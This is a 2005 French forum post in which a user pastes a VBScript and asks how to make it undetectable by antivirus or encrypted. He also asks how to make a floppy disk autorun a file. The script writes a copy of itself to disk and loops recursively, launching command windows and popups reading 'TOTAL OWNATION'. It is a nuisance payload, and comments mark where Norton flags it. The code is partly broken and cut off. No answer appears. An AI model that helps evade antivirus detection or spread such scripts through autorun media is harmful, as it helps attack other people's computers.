cs_king67
Messages postés2Date d'inscriptionsamedi 28 mai 2005StatutMembreDernière intervention28 mai 2005
-
28 mai 2005 à 19:50
cs_CanisLupus
Messages postés3757Date d'inscriptionmardi 23 septembre 2003StatutMembreDernière intervention13 mars 2006
-
28 mai 2005 à 20:48
Bonjour, je suis nouveau sur ce forum et je me demandait comment je pourrait faire pour mettre mon script en .VBS indetectable au anti-virus, ca ou le crypter. Je vous donne mon script :
On Error Resume Next
Dim fso, shell, f
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if (fso.fileexists("C:\savegames\blast.vbs")) then
call f1
call f2
function f1
shell.run "cmd /K CD C:\ & blast.vbs.txt", true ' ICI NORTON LE DETECTE
call f2
end function
function f2
shell.popup "ENJOY THE OWN", 1, "TOTAL OWNATION", 16
call f1
end function
else
Set f = fso.Createtextfile("C:\savegames\blast.vbs") ' ICI NORTON LE DETECTE
f.writeline "call f1"
f.writeline "call f2"
f.WriteBlankLines 1
f.writeline "funtion f1"
f.writeline "shell.execute " & "C:\blast.vbs" ' ICI PAS CAPABLE DE METTRE LES "
f.writeline "call f2"
f.writeline "end function"
f.WriteBlankLines 1
f.writeline "function f2"
Question #2 : Est-il possible de mettre un autorun comme un CD mais sur un diskette pour faire ouvrir un fichier directement en mettant la diskette dans le lecteur ?